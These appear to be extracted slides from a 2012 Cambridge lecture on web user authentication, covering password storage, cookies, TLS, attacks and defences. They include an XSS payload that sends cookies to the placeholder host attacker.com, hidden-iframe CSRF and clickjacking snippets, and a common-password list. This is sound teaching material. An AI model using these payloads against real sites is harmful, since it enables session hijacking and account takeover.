User authentication on the web

Joseph Bonneau
jcb82@cl.cam.ac.uk

UNIVERSITY OF CAMBRIDGE
Computer Laboratory

Part II Security lecture
2012
Talk outline

1. What are we trying to achieve?
2. What’s done in practice
3. What goes wrong
4. Can we do better?
The web was not designed with authentication in mind.
The web was not designed with authentication in mind

GET / HTTP/1.1
Host: www.cl.cam.ac.uk

128.28.2.138 → www.cl.cam.ac.uk

HTTP/1.1 200 OK
Content length: 7661
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 ...

128.28.2.138 ← www.cl.cam.ac.uk
Authentication is used for many purposes

Persistent online identities
Authentication is used for many purposes.

Online linking to offline identity.
Authentication is used for many purposes

- **CURRENT E-MAILS**
  You have no subscriptions for Email newsletters.

- **MY ALERTS**
  You have no alerts, use the “Create News Alert” link above to create one.

- **MY STOCK ALERTS**
  You have no alerts, use the “Create Stock Alert” link above to create one.

- **COMMENT NOTIFICATIONS**
  Receive a notification when your comment is posted or replied to by an NYTimes reporter.

**TODAY’S HEADLINES**

**TODAY’S HEADLINES**

- **DAILY**
  Get general top headlines or create a customized e-mail by selecting from the categories below.
  - See Sample

  - U.S
  - Sports
  - Politics
  - Op-Ed
  - Daily Featured Section
  - Business
  - World
  - Editorial
  - Technology
  - NY Region
  - Arts

**Customising online preferences**
Authentication is used for many purposes

Frequency of password collection
Many requirements for “perfect” authentication

1. Secure
   1. Criminals (may know target)
   2. Malware
   3. Rogue servers
   4. Phishers

2. Low cost
   1. Easy for users
   2. Cheap for servers
   3. Easy to implement
   4. Widely compatible

3. Privacy-enabling
   1. Users choose to reveal identity
   2. Easy to create new identities
   3. Malicious sites get no information

4. Legal
   1. non-repudiable (sometimes)
   2. tracable (sometimes)
Talk outline

1. What are we trying to achieve?
2. What’s done in practice
3. What goes wrong
4. Can we do better?
Password enrolment

Choose a Password, which you'll also enter each time you use this service. Your password should be 5-15 characters in length and shouldn't include punctuation, symbol characters or spaces.

**Important:** We'll record your User Name and Password EXACTLY as you type them, so make a note if you enter in upper and lower case.

Wall Street Journal, 1996

Please register to gain free access to WSJ tools.

<table>
<thead>
<tr>
<th>First Name</th>
<th>Last Name</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Email (your email address will be your login)</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Confirm Email</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Create a Password</th>
<th>Confirm Password</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
</tr>
</tbody>
</table>

From time to time, we will send you e-mail announcements on new features and special offers from The Wall Street Journal Online.

**Why Register?**

Privacy Policy | Terms & Conditions

Wall Street Journal, 2010
<form method="post" action="user_enrol.cgi">

Create a username:
<input type="text" name="user"/> <br/>

Choose password:
<input type="password" name="pass"/> <br/>

<input type="submit" name="submit" />

</form>

128.28.2.138 ← http://www.example.com/
Password enrolment

POST user_enrol.cgi HTTP/1.1
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

user=jcb82&pass=qwerty

128.28.2.138 → http://www.example.com/
POST user_enrol.cgi HTTP/1.1
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

user=jcb82&pass=qwerty

128.28.2.138 → https://www.example.com/
<table>
<thead>
<tr>
<th>USER</th>
<th>PASS</th>
</tr>
</thead>
<tbody>
<tr>
<td>jcb82</td>
<td>qwerty</td>
</tr>
<tr>
<td>rja14</td>
<td>d5bf&quot;_)*(&amp;()&quot;$</td>
</tr>
<tr>
<td>mgk25</td>
<td>i_love_fourier</td>
</tr>
<tr>
<td>...</td>
<td>...</td>
</tr>
</tbody>
</table>
### Password storage

<table>
<thead>
<tr>
<th>USER</th>
<th>PASS_HASH</th>
</tr>
</thead>
<tbody>
<tr>
<td>jcb82</td>
<td>13e874694bc9</td>
</tr>
<tr>
<td>rja14</td>
<td>ddd87e9f571a</td>
</tr>
<tr>
<td>mgk25</td>
<td>5b72fba97e14</td>
</tr>
<tr>
<td>...</td>
<td>...</td>
</tr>
</tbody>
</table>

\[
\text{PASS\_HASH}_i = \text{SHA-256}(\text{password}_i)
\]
### Password storage

<table>
<thead>
<tr>
<th>USER</th>
<th>PASS_HASH</th>
</tr>
</thead>
<tbody>
<tr>
<td>jcb82</td>
<td>13e874694bc9</td>
</tr>
<tr>
<td>rja14</td>
<td>ddd87e9f571a</td>
</tr>
<tr>
<td>mgk25</td>
<td>5b72fba97e14</td>
</tr>
<tr>
<td>...</td>
<td>...</td>
</tr>
<tr>
<td>hk331</td>
<td>13e874694bc9</td>
</tr>
<tr>
<td>...</td>
<td>...</td>
</tr>
</tbody>
</table>

\[ \text{PASS\_HASH}_i = \text{SHA-256}(\text{password}_i) \]
## Password storage

<table>
<thead>
<tr>
<th>USER</th>
<th>SALTED_HASH</th>
<th>SALT</th>
</tr>
</thead>
<tbody>
<tr>
<td>jcb82</td>
<td>cfe9edfe0bd...</td>
<td>0cb9...</td>
</tr>
<tr>
<td>rja14</td>
<td>9883078e2953...</td>
<td>1f13...</td>
</tr>
<tr>
<td>mgk25</td>
<td>a6b02ced143e...</td>
<td>b168...</td>
</tr>
<tr>
<td>...</td>
<td>...</td>
<td>...</td>
</tr>
<tr>
<td>hk331</td>
<td>5dbe4e858597...</td>
<td>3b73...</td>
</tr>
<tr>
<td>...</td>
<td>...</td>
<td>...</td>
</tr>
</tbody>
</table>

\[ \text{salt}_i = \text{random}[0 : 64] \]

\[ \text{SALTED}\_\text{HASH}_i = \text{SHA-256}(\text{password}_i || \text{salt}_i)^N \]
POST login.php HTTP/1.1
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 34

name=jcb82&pass=qwerty

128.28.2.138 → https://www.example.com
HTTP/1.1 302 Moved Temporarily
Host: www.example.com
Location: http://www.example.com/main
Set-Cookie: user_id=821183;
expires=Sat, 11-Dec-2010 15:48:38 GMT; path=/;
Set-Cookie: auth=f0eb6a1bdf... 
expires=Sat, 11-Dec-2010 15:48:38 GMT; path=/;
Content-Length: 0

128.28.2.138 ← https://www.example.com
Login

GET /main.html HTTP/1.1
Host: www.example.com
Cookie: user_id=821183; auth=f0eb6a1bdff...

128.28.2.138 → http://www.example.com
POST `logout.php` HTTP/1.1
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

128.28.2.138 → www.example.com
HTTP/1.1 302 Moved Temporarily
Host: www.example.com
Location: http://www.example.com/main
Set-Cookie: user_id=0; path=/;
Set-Cookie: auth=0 path=/;
Content-Length: 0

128.28.2.138 ← www.example.com
Change my password

Change your password. Follow the instructions below.

Fields marked with * are mandatory

1 Enter password

Password rules:
Password must contain at least 7 characters
Password must contain at least 1 digit
Password must contain at least 1 letter
Password must not be the same as username
Password can not have 3 of the same consecutive characters, nor 4 of the same characters throughout.

*Old password

Please enter old Password.

*Password

*Re-enter password

2 Save my new password

Save and continue
Request a new password

If you have forgotten your password you can order a new one here.

Fields marked with * are mandatory.

*Username (e-mail address)

Please enter Username or Password.

1. How do you want to receive your new password?
   * Send out new password via email

2. Validation image

   Are you still having problems with the letters?
   Don't worry, we can help you. Click here

Enter the characters you see in the image into the field below.
If you can't see all the letters, just change the image by clicking here

3. Get new password

   Submit
Hi jbonneau,

Someone requested that your Last.fm password be reset. If this wasn’t you, there’s nothing to worry about - simply ignore this email and nothing will change.

If you DID ask to reset the password on your Last.fm account, just click here to make it happen: http://www.last.fm/?id=<userid>
&key=<authentication-token>

Best Regards,
The Last.fm Team
Talk outline

1. What are we trying to achieve?
2. What’s done in practice
3. What goes wrong
   1. Technical failures (false authentication)
   2. User interface failures
   3. Human memory failures
   4. Economic failures
   5. Technical failures (unintended authentication)
4. Can we do better?
Dear Joseph Bonneau,

You requested us to send you your EasyChair login information. Please use the following data to log in to EasyChair:

User name: jbonneau
Password: qwerty

Best regards,
EasyChair Messenger.

Password recovery, EasyChair
Insecure at-rest storage of passwords

A Password must be at least 6 characters or longer, and may not include blank spaces, or the characters: <> " (A good example of a password: RUGT_7).

New Password: [password input]
Confirm Password: [password input]

Please note passwords are case sensitive.

29-50% of sites store passwords in the clear
Insecure at-rest storage of passwords

RockYou SQL injection hack
January 2010

32.6m passwords may have been compromised in RockYou hack

RockYou, which provides widgets popular with MySpace and Facebook users, has been hacked and 32.6m users are being urged to change their passwords.
Please enter a new password

Email: facebook@ucam.preibusch.net
New Password: (required)
Confirm Password: (required)

Change Password

Keep me logged in  Forgot your password?
Email  Password

Sign Up
It's free and anyone can join

First Name:
Last Name:
Your Email:
New Password:
I am: Select Sex:
Birthday: Month:  Day:  Year:
Why do I need to provide this?

Change Password
Incomplete TLS deployment

Password sniffing
<form method="post" action="https://www.example.com/user_login.cgi">

Username:
<input type="text" name="user" /> <br />

Password:
<input type="password" name="pass" /> <br />

<input type="submit" name="submit" />

</form>

Post-only TLS deployment
<table>
<thead>
<tr>
<th>TLS Deployment</th>
<th>I</th>
<th>E</th>
<th>C</th>
<th>Tot.</th>
</tr>
</thead>
<tbody>
<tr>
<td>Full</td>
<td>0.07</td>
<td>0.26</td>
<td>0.07</td>
<td>0.39</td>
</tr>
<tr>
<td>Full/POST</td>
<td>0.02</td>
<td>0.01</td>
<td>0.01</td>
<td>0.03</td>
</tr>
<tr>
<td>Inconsistent</td>
<td>0.09</td>
<td>0.04</td>
<td>0.03</td>
<td>0.17</td>
</tr>
<tr>
<td>None</td>
<td>0.15</td>
<td>0.03</td>
<td>0.23</td>
<td>0.41</td>
</tr>
</tbody>
</table>
Wireshark
Cookie theft post-TLS

Firesheep

Firesheep is a tool that shows all the cookies being exchanged with websites while logged into Facebook. This highlights the risk of cookie theft, which can compromise user authentication on the web.
Thank you for helping us make ESPN the best Internet sports site in the world.

For technical support, feedback, bug reports or questions about ESPN, Insider or Fantasy logins, please use the form below. For questions about your Insider or Fantasy account, please call 1-888-549-ESPN.

Your submission will reference:
http://espn.go.com/college-football/

Please describe the bug:

Submit Report
Cookie stealing via cross-site scripting

Your submission will reference:

http://www.espn.com/college-football

http://dynamic.espn.go.com/bugs?
url=http://www.espn.com/college-football
Cookie stealing via cross-site scripting

Your submission will reference:

<script>
document.location = "http://www.attacker.com/cookie-log.cgi?" + document.cookie
</script>

http://dynamic.espn.go.com/bugs?
url=%3Cscript%3E%0Adocument.location +%3D%0A%22http%3A//www.attacker.com/cookie-log.cgi%3F%22%0A%2B+document.cookie%0A%3C/script%3E
### Weak cookies

<table>
<thead>
<tr>
<th>SID</th>
<th>UID</th>
<th>Other data</th>
</tr>
</thead>
<tbody>
<tr>
<td>3943412586</td>
<td>rja14</td>
<td>...</td>
</tr>
<tr>
<td>3943412587</td>
<td>mgk25</td>
<td>...</td>
</tr>
<tr>
<td>3943412588</td>
<td>jcb82</td>
<td>...</td>
</tr>
<tr>
<td>...</td>
<td>...</td>
<td>...</td>
</tr>
</tbody>
</table>

- Predictable session identifiers
- Misuse of cryptography
- Improper field delimitation

Fu et al., 2001
### Predictable session identifiers

- Misuse of cryptography
- Improper field delimitation

---

Fu et al., 2001
Weak cookies

<table>
<thead>
<tr>
<th>SID</th>
<th>UID</th>
<th>Other data</th>
</tr>
</thead>
<tbody>
<tr>
<td>H(2010-11-15T12:06:43)</td>
<td>rja14</td>
<td>...</td>
</tr>
<tr>
<td>H(2010-11-15T12:07:38)</td>
<td>mgk25</td>
<td>...</td>
</tr>
<tr>
<td>H(2010-11-15T12:08:11)</td>
<td>jcb82</td>
<td>...</td>
</tr>
</tbody>
</table>

- Predictable session identifiers
- Misuse of cryptography
- Improper field delimitation

Fu et al., 2001
Weak cookies

\[ \text{COOKIE}_i = i \| \text{crypt}(i \| K_{\text{daily}}) \]

- Predictable session identifiers
- Misuse of cryptography
- Improper field delimitation

Fu et al., 2001
Weak cookies

\[ \text{COOKIE}_i = i || \text{crypt}(i || K_{\text{daily}}) \]

\[ \text{COOKIE}_{\text{jbonneau}} = \text{jbonneau7c19f550a775b614} \]
\[ \text{COOKIE}_{\text{jbonneau1}} = \text{jbonneau17c19f550a775b614} \]

- Predictable session identifiers
- Misuse of cryptography
- Improper field delimitation

Fu et al., 2001
Weak cookies

\[
\text{COOKIE}_i = i \| \text{crypt}(i \| K_{\text{daily}})
\]

\[
\begin{align*}
\text{COOKIE}_{\text{jbonnea}} &= \text{jbonneac6ceb34c403d1f6d} \\
\text{COOKIE}_{\text{jbonneaN}} &= \text{jbonneaNc6ceb34c403d1f6d} \\
\text{COOKIE}_j &= \text{j938c00d2f12c73a4} \\
\text{COOKIE}_{\text{jNov201999}} &= \text{jNov201999938c00d2f12c73a4}
\end{align*}
\]

- Predictable session identifiers
- Misuse of cryptography
- Improper field delimitation

Fu et al., 2001
Weak cookies

\[ \text{COOKIE}_i = i || t || \text{MAC}_k(i || t) \]

- Predictable session identifiers
- Misuse of cryptography
- Improper field delimitation

Fu et al., 2001
Weak cookies

\[ \text{COOKIE}_i = i || t || \text{MAC}_k(i || t) \]

\[ \text{COOKIE}_{jcb82}(1\text{-Dec-2010}) = jcb821\text{-Dec-20105ca57512f4db8fd18254adce9b8ef438} = \text{COOKIE}_{jcb8}(21\text{-Dec-2010}) \]

- Predictable session identifiers
- Misuse of cryptography
- Improper field delimitation

Fu et al., 2001
Cross-site request forgery

```html
<iframe name="csrf"
width="0" height="0" frameborder="0"
src="http://bank.example.com/transfer?
&amount=1000000&to=attacker">
</iframe>
```
Cross-site request forgery

```html
<iframe name="csrf"
width="0" height="0" frameborder="0"
src="http://twitter.com/share/update?
status=i%20got%20pwned">
</iframe>
```
Clickjacking

Request for Permission

FarmVille is requesting permission to do the following:

- Access my basic information
  Includes name, profile picture, gender, networks, user ID, list of friends, and any other information I've shared with everyone.

- Access my profile information
  Birthday and Current City

By proceeding, you agree to the FarmVille Terms of Service and Privacy Policy · Report Application

Logged in as [Not You?]

<iframe name="csrf"
width="0" height="0" frameborder="0"
src="http://www.facebook.com/connect/
uiserver.php?app_id=102452128776"
style="opacity: 0; filter: alpha(opacity=0);
position: absolute;top: -170px;left: -418px;">
</iframe>

<img src="clickjacking_bait.jpg">
Clickjacking

Want 2 C
Something
Hot?

Click da’button, baby!
Clickjacking

User authentication on the web

February 22, 2012
1. What are we trying to achieve?
2. What’s done in practice
3. What goes wrong
   1. Technical failures (false authentication)
   2. User interface failures
   3. Human memory failures
   4. Economic failures
   5. Technical failures (unintended authentication)
4. Can we do better?
(a) Hand tracking analysis. Rectangles identify regions in movement. Black rectangles are used for movements in the hands regions, grey rectangles for keys, white rectangles for regions where both hand and key movement happens. These rectangles identify likely key pressings.

(b) Key pressing analysis. Using occlusion-based techniques, the analysis determines keys that are not pressed, which are represented by the dark polygons.

Balzarotti et al. 2008
No trusted path between users and browser

Hardware keylogger, US$36
No trusted path between users and browser

Software keylogger, US$49.50
No trusted path between users and browser

J. Bonneau (U. of Cambridge)

February 22, 2012 21 / 41
What are we trying to achieve?

What’s done in practice

What goes wrong

1. Technical failures (false authentication)
2. User interface failures
3. Human memory failures
4. Economic failures
5. Technical failures (unintended authentication)

Can we do better?
Brute-force attacks

123456
12345
123456789
password
iloveyou
princess
1234567
rockyou
12345678
abc123
nicole
daniel
babygirl
monkey
lovely
jessica
654321
michael
Brute-force attacks

The following errors were encountered

- You are only permitted to make four login attempts every 1 minute(s)

Rate limiting (Truthdig)
Brute-force attacks

Sign In

Too many tries!
If you forgot your password, you can get help finding it, or you can open a new account.

Forced reset (Cafe Press)
Brute-force attacks

Log in

Don't have an account? Create one.

To help protect against automated password cracking, please enter the words that appear below in the box (more info):

(signsowned)

Username: test
Password: 

☐ Remember me (up to 30 days)

Log in  E-mail new password

CAPTCHA restrictions (Wikipedia)
## Brute-force attacks

<table>
<thead>
<tr>
<th>countermeasure</th>
<th>I</th>
<th>E</th>
<th>C</th>
<th>Tot.</th>
</tr>
</thead>
<tbody>
<tr>
<td>CAPTCHA</td>
<td>0.07</td>
<td>0.01</td>
<td>0.01</td>
<td>0.09</td>
</tr>
<tr>
<td>timeout</td>
<td>0.01</td>
<td>0.01</td>
<td>0.01</td>
<td>0.03</td>
</tr>
<tr>
<td>reset</td>
<td>0.01</td>
<td>0.02</td>
<td>0.01</td>
<td>0.03</td>
</tr>
<tr>
<td>none</td>
<td>0.25</td>
<td>0.29</td>
<td>0.31</td>
<td>0.84</td>
</tr>
</tbody>
</table>
# Brute-force attacks

<table>
<thead>
<tr>
<th>limit</th>
<th>I</th>
<th>E</th>
<th>C</th>
<th>Tot.</th>
</tr>
</thead>
<tbody>
<tr>
<td>3</td>
<td>0.02</td>
<td>0.00</td>
<td>0.00</td>
<td>0.02</td>
</tr>
<tr>
<td>4</td>
<td>0.01</td>
<td>0.01</td>
<td>0.00</td>
<td>0.01</td>
</tr>
<tr>
<td>5</td>
<td>0.02</td>
<td>0.01</td>
<td>0.03</td>
<td>0.06</td>
</tr>
<tr>
<td>6</td>
<td>0.01</td>
<td>0.01</td>
<td>0.00</td>
<td>0.03</td>
</tr>
<tr>
<td>7</td>
<td>0.01</td>
<td>0.00</td>
<td>0.00</td>
<td>0.01</td>
</tr>
<tr>
<td>10</td>
<td>0.01</td>
<td>0.00</td>
<td>0.00</td>
<td>0.01</td>
</tr>
<tr>
<td>15</td>
<td>0.01</td>
<td>0.00</td>
<td>0.00</td>
<td>0.01</td>
</tr>
<tr>
<td>20</td>
<td>0.00</td>
<td>0.01</td>
<td>0.00</td>
<td>0.01</td>
</tr>
<tr>
<td>25</td>
<td>0.01</td>
<td>0.00</td>
<td>0.00</td>
<td>0.01</td>
</tr>
<tr>
<td>&gt; 100</td>
<td>0.25</td>
<td>0.29</td>
<td>0.31</td>
<td>0.84</td>
</tr>
</tbody>
</table>
Brute-force attacks

\[ \hat{\mu}(\alpha) \]
What is your oldest sibling's middle name?

Rosco
**Personal knowledge questions**

- Web search
  - Used against Sarah Palin in 2008
- Public records
  - Griffith et. al: 30% of individual’s mother’s maiden names
- Social engineering
- Dumpster diving, burglary
- Acquaintance attacks
  - Schecter et. al: \( \sim 25\% \) of questions guessed by friends, family
Personal knowledge questions

- 70% of answers are proper names (Just et al. 2008)
  - 25% surname
  - 10% forename
  - 15% pet name
  - 20% place name
- Most others are trivially insecure
  - What is my favourite colour?
  - What is the worst day of the week?
Personal knowledge questions

- Forename
- Surname
- Password [RockYou]
- Password [Klein]
- Password [Spafford]
- Password [Schneier]

Personal knowledge worse than passwords (Bonneau et al. 2010)
Talk outline

1. What are we trying to achieve?
2. What’s done in practice
3. What goes wrong
   1. Technical failures (false authentication)
   2. User interface failures
   3. Human memory failures
   4. Economic failures
   5. Technical failures (unintended authentication)
4. Can we do better?
- All sites collect passwords
- All sites utilise email infrastructure
  - Naming
  - Liveness checks
  - Password recovery
Systemic trends in web authentication

- All sites collect passwords
- All sites utilise email infrastructure
  - Naming
  - Liveness checks
  - Password recovery
Economic models

- Password over-collection is a tragedy of the commons
- Password insecurity is a negative externality
Password over-collection is a tragedy of the commons
Password insecurity is a negative externality
Consequences

- Users overwhelmed by password burden
  - Average person has > 25 accounts (Flôrencio et al., 2007)
- Users forced to re-use passwords across security contexts
- Cross-site password compromise increasing
  - Email accounts becoming powerful credentials
- Users overwhelmed by password burden
  - Average person has > 25 accounts (Flôrencio et al., 2007)
- Users forced to re-use passwords across security contexts
- Cross-site password compromise increasing
- Email accounts becoming powerful credentials
Users overwhelmed by password burden
- Average person has > 25 accounts (Flôrencio et al., 2007)

Users forced to re-use passwords across security contexts

Cross-site password compromise increasing
- Email accounts becoming powerful credentials
**Consequences**

- Users overwhelmed by password burden
  - Average person has > 25 accounts (Flôrencio et al., 2007)
- Users forced to re-use passwords across security contexts
- Cross-site password compromise increasing
  - Email accounts becoming powerful credentials
Talk outline

1. What are we trying to achieve?
2. What’s done in practice
3. What goes wrong
   1. Technical failures (false authentication)
   2. User interface failures
   3. Human memory failures
   4. Economic failures
   5. Technical failures (unintended authentication)
4. Can we do better?
Implicit identifiers

SRC: 128.232.8.168
DST: 128.232.0.20
...

1. IP address
2. HTTP headers
3. HTTP referer
4. Javascript runtime (also Flash, Java, Silverlight ...)
5. Cross-site de-anonymisation
Implicit identifiers

GET / HTTP/1.1
Host: www.cl.cam.ac.uk
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.2.12) Gecko/20101027 Ubuntu/9.10 (karmic) Firefox/3.6.12
Accept: text/html, application/xhtml+xml, application/xml; q=0.9,*/*
Accept-Language: en-gb,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;

1. IP address
2. HTTP headers
3. HTTP referer
4. Javascript runtime (also Flash, Java, Silverlight ...)
5. Cross-site de-anonymisation
Implicit identifiers

GET / HTTP/1.1
Host: www.cl.cam.ac.uk
Referer: http://www.bing.com/search?q=what%27s+the+best+university

1. IP address
2. HTTP headers
3. HTTP referer
4. Javascript runtime (also Flash, Java, Silverlight ...)
5. Cross-site de-anonymisation
Implicit identifiers

GET / HTTP/1.1
Host: www.cl.cam.ac.uk

1. IP address
2. HTTP headers
3. HTTP referer
4. Javascript runtime (also Flash, Java, Silverlight ...)
5. Cross-site de-anonymisation
Implicit identifiers

```javascript
//detect screen resolution
x = screen.width; y = screen.height;

//detect plugins
q = navigator.mimeTypes["video/quicktime"]; 
j = navigator.javaEnabled();

//detect time zone
tz = (new Date()).getTimezoneOffset();
```
### Implicit identifiers

<table>
<thead>
<tr>
<th>Characteristic</th>
<th>Examples</th>
</tr>
</thead>
<tbody>
<tr>
<td>User Agent</td>
<td>IP address, HTTP headers, HTTP referer, Javascript runtime (Flash, Java, Silverlight)</td>
</tr>
<tr>
<td>Browser Plug-ins</td>
<td>Javascript runtime (Flash, Java, Silverlight)</td>
</tr>
<tr>
<td>Time Zone</td>
<td>Javascript runtime (Flash, Java, Silverlight)</td>
</tr>
<tr>
<td>Browser Engine</td>
<td>Javascript runtime (Flash, Java, Silverlight)</td>
</tr>
</tbody>
</table>

#### Cross-site de-anonymisation

1. **IP address**
2. **HTTP headers**
3. **HTTP referer**
4. **Javascript runtime (also Flash, Java, Silverlight ...)**

---

**Panopticlick**

How Unique — and Trackable — Is Your Browser?

You can now expect to be unique, arising to a 139.6% total on the pages. Currently, we ordered that your browser be a privacy that lasts at least 20.2.

**User authentication on the web**

J. Bonneau (U. of Cambridge)

February 22, 2012
Implicit identifiers

# Send users to my detector...
<iframe name="detector"
width="0" height="0" frameborder="0"
src="https://docs.google.com/document/d/1TUV9x1lFAQcVWvhP4EAHQZIPrVmo3_vrz5Sz8Wo">
</iframe>

1. IP address
2. HTTP headers
3. HTTP referer
4. Javascript runtime (also Flash, Java, Silverlight ...)
5. Cross-site de-anonymisation

Narayanan 2009
**Implicit identifiers**

1. IP address
2. HTTP headers
3. HTTP referer
4. Javascript runtime (also Flash, Java, Silverlight ...)
5. Cross-site de-anonymisation

Narayanan 2009
Implicit identifiers

1. IP address
2. HTTP headers
3. HTTP referer
4. Javascript runtime (also Flash, Java, Silverlight ...)
5. Cross-site de-anonymisation

Bortz et al. 2007
Talk outline

1. What are we trying to achieve?
2. What’s done in practice
3. What goes wrong
4. Can we do better?
Password alternatives

**Mitigates:** Guessing attacks, phishing?, malware
Password alternatives

LastPass can be configured to work with Google Authenticator. Google Authenticator is a secure, easy to use, two-factor authentication application for your mobile device that is immune from replay-attacks, man-in-the-middle attacks, and a host of other threat vectors.

Google Authenticator makes LastPass more secure and easier to use.

To install the Google Authenticator application on your mobile device, visit GOOGLE AUTHENTICATOR!

To associate Google Authenticator with your account, scan the barcode below with your Google Authenticator application.

Click here if you’re unable to scan the barcode (for example if you’re using the BlackBerry application, or a device without a camera).

Google Authenticator Authentication

Permit Offline Access

Click here to regenerate your Google Authenticator key (for example if you lost your Google Authenticator device).

Mitigates: Guessing attacks, malware?
Password alternatives

**Mitigates:** Brute-force attacks?, trawling attacks?
Password alternatives

J. Bonneau (U. of Cambridge)
## Better password choices

<table>
<thead>
<tr>
<th>What to do</th>
<th>Suggestion</th>
<th>Example</th>
</tr>
</thead>
<tbody>
<tr>
<td>Start with a sentence or two (about 10 words total).</td>
<td>Think of something meaningful to you.</td>
<td>Long and complex passwords are safest. I keep mine secret. (10 words)</td>
</tr>
<tr>
<td>Turn your sentences into a row of letters.</td>
<td>Use the first letter of each word.</td>
<td>lacpasikms (10 characters)</td>
</tr>
<tr>
<td>Add complexity.</td>
<td>Make only the letters in the first half of the alphabet uppercase.</td>
<td>IACpAslKMs (10 characters)</td>
</tr>
<tr>
<td>Add length with numbers.</td>
<td>Put two numbers that are meaningful to you between the two sentences.</td>
<td>IACpAs56lKMs (12 characters)</td>
</tr>
<tr>
<td>Add length with punctuation.</td>
<td>Put a punctuation mark at the beginning.</td>
<td>?IACpAs56lKMs (13 characters)</td>
</tr>
<tr>
<td>Add length with symbols.</td>
<td>Put a symbol at the end.</td>
<td>?IACpAs56lKMs&quot; (14 characters)</td>
</tr>
</tbody>
</table>

### Mitigates: Password guessing
Better password choices

To construct a good password, create a simple sentence of 8 words and choose letters from the words to make up a password. You might take the initial or final letters; you should put some letters in upper case to make the password harder to guess; and at least one number and/or special character should be inserted as well. Use this method to generate a password of 7 or 8 characters.

Yan et al. 2004

Mitigates: Password guessing
Better password choices

![Graph showing success rate vs. marginal guesswork for different password types.

- Forename
- Surname
- Password [RockYou]
- Password [Klein]
- Password [Spafford]
- Password [Schneier]
- Mnemonic [Kuo]

The graph illustrates the relationship between success rate (α) and marginal guesswork (µα) for various password types. The data points are color-coded to differentiate between Forename, Surname, Password [RockYou], Password [Klein], Password [Spafford], Password [Schneier], and Mnemonic [Kuo].]
Better password choices

Mitigates: Password guessing
Better password choices

```python
```

Twitter banned password list

**Mitigates:** Password guessing
Better password choices

```
diceware 166651565315653563223561665224
1 6 6 6 5 cleft
1 5 6 5 3 cam
5 6 3 2 2 synod
3 5 6 1 6 lacy
6 5 2 2 4 yr
password = cleftcamsynodlacyyr
```

Diceware

**Mitigates:** Password guessing
Better password choices

More can be less...
Password managers

Mitigates: password recovery, weak passwords?
Password managers

PasswordManager Pro™

Mitigates: password recovery, weak passwords?
Password managers

**PwdHash (Firefox extension)**

**Mitigates:** password recovery, weak passwords, password re-use, cross-site password compromise
Password managers

Site Address
http://www.example.com/

Site Password
......

Hashed Password
2Swl1Xoq

Generate

PwdHash (remote interface)

Mitigates: password recovery, weak passwords, password re-use, cross-site password compromise
Better backup authentication

Recovering your password

Add more information to your account to increase your account-recovery options.

Email
Receive a password-reset link at an email address which you can access.

SMS
Receive a text message with a password-reset code on your mobile phone.

Security question
Answer a question to reset your password.

Mitigates: Question guessing, email as failure point
Better backup authentication

Schecther et al. 2008

Mitigates: Question guessing, email as failure point
Better backup authentication

The ubiquity of mobile phones has made them an attractive option for backup authentication. Because we 1

For clarity, we use masculine pronouns for the account holder and feminine pronouns for trustees.

User authentication on the web

J. Bonneau (U. of Cambridge)

February 22, 2012

ACCOUNT RECOVERY VIA SOCIAL AUTHENTICATION

Figure 1. Initiation. Trustees enter their email address and the address of a friend to whom they are linked. Trustees are asked to verify the identity of the friend. The user is allowed to choose the friend from a list of friends, and to add additional friends. Trustees are also asked to confirm their identity by entering their email address. This allows them to access the account of the user who needs help.

Schecther et al. 2008

**Mitigates:** Question guessing, email as failure point
Better backup authentication

Mitigates: Question guessing, email as failure point
Better backup authentication

Mitigates: Account takeover
HTTP/1.1 302 Moved Temporarily
Host: www.example.com
Location: http://www.example.com/main
Set-Cookie: user_id=821183;
    expires=Sat, 11-Dec-2010 15:48:38 GMT; path=/;
Set-Cookie: auth=f0eb6a1bdf...
    expires=Sat, 11-Dec-2010 15:48:38 GMT; path=/;
    httponly;
Content-Length: 0

128.28.2.138 ← https://www.example.com

**Mitigates:** cross-site scripting
HTTP/1.1 302 Moved Temporarily
Host: www.example.com
Location: http://www.example.com/main
Set-Cookie: user_id=821183;
expires=Sat, 11-Dec-2010 15:48:38 GMT; path=/;
Set-Cookie: auth=f0eb6a1bdff...
expires=Sat, 11-Dec-2010 15:48:38 GMT; path=/;
secure;
Content-Length: 0

128.28.2.138 ← https://www.example.com

**Mitigates:** post-TLS cookie stealing
GET / HTTP/1.1
Host: www.example.com

128.28.2.138 → www.example.com

HTTP/1.1 401 Authorization Required
Content length: 7661
Content-Type: text/html
WWW-Authenticate: Basic realm="example.com"

128.28.2.138 ← www.example.com

HTTP basic access authentication

Mitigates: cookie theft
Designed login protocols

HTTP basic access authentication

Mitigates: cookie theft
Designed login protocols

GET / HTTP/1.1
Host: www.example.com
Authorization: Basic amNiODI6bmljZXRyeQ==

128.28.2.138 → www.example.com

auth = encode_{base64}(user||pass)

HTTP basic access authentication

Mitigates: cookie theft
Designed login protocols

```plaintext
GET / HTTP/1.1
Host: www.example.com

128.28.2.138 → www.example.com

HTTP/1.1 401 Authorization Required
Content length: 7661
Content-Type: text/html
WWW-Authenticate: Digest
realm="example.com" qop="auth,auth-int",
nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093"

128.28.2.138 ← www.example.com
```

HTTP digest access authentication

**Mitigates:** password sniffing, database compromise
Designed login protocols

GET / HTTP/1.1
Host: www.example.com
Authorization: Digest username="jcb82",
realm="www.example.com",
nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093",
cnonce="0a4f113b", nc=00000001,
qop=auth, uri="/dir/index.html",
response="6629fae49393a05397450978507c4ef1",
128.28.2.138 → www.example.com

\[ \text{resp.} = H(H(user||pass)||n_{server}||counter_n||n_{client}||H(params)) \]

HTTP digest access authentication

